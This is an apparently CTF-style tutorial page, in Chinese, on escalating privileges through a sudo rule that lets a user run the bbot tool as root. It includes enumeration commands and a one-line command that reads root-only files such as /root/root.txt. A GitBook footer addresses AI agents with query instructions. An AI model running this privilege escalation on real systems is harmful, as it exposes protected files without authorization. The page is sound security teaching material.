> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/sudoers/sudo-bbot-binary-linux-privilege-escalation.md).

# Sudo bbot Binary - Linux 权限提升

## 这是什么

Sudoers 权限提升始于用户可以通过以下方式运行的命令 `sudo`. 错误配置的二进制文件、不安全的脚本参数、符号链接处理以及存在漏洞的 sudo 版本，都可能把受限的 sudo 权限变成 root shell。此特定页面重点介绍 **Sudo（bbot 二进制文件）** 并保持利用流程切合实际：识别条件，安全验证，然后运行证明影响所需的最小载荷。

## 枚举

在运行利用路径之前，先确认本地上下文和具体的错误配置。

```bash
sudo -l
sudo --version
```

## 示例

### Sudo - bbot（二进制文件）

sudo 的费用审计：

```bash
sudo -l 
```

用户可以运行 `/usr/local/bin/bbot` 以 root 身份。

<figure><img src="/files/24e17f6866a86182f3f586f64488d212230f3b05" alt=""><figcaption></figcaption></figure>

内容： `/usr/local/bin/bbot`:

```python
#!/opt/pipx/venvs/bbot/bin/python
# -*- coding: utf-8 -*-
import re
import sys
from bbot.cli import main
if __name__ == '__main__':
    sys.argv[0] = re.sub(r'(-script/.pyw|/.exe)?$', '', sys.argv[0])
    sys.exit(main())
```

<figure><img src="/files/9bc2311b01ebfe312f25eb0b72a9c3aa70b76331" alt=""><figcaption></figcaption></figure>

### 利用：

此脚本只是将参数传递给以下程序的 main 函数： `bbot`。由于我们可以控制提供的参数，因此我们可以利用以下功能： `bbot` 来读取任何文件——包括那些仅用户可访问的文件 **root**.

在查阅使用说明或文档后， `bbot`我们找到了指定目标文件和输出目录的选项：

```bash
sudo /usr/local/bin/bbot -t /root/root.txt -o /tmp/root -d
```

**说明：**

* `-t /root/root.txt`：设置要处理的目标文件。
* `-o /tmp/root`：指定输出目录（结果将存储在此处）。
* `-d`：启用调试模式，以便在需要更多信息时使用。

由于该脚本以 **root** 权限运行，而且不会对输入进行验证，因此这使我们能够读取任意文件，包括包含以下内容的最终文件： **root 标志**.

<figure><img src="/files/ccdaebeb93423fb328b398dc1c6c881afd43e48d" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/privesc/sudoers/sudo-bbot-binary-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
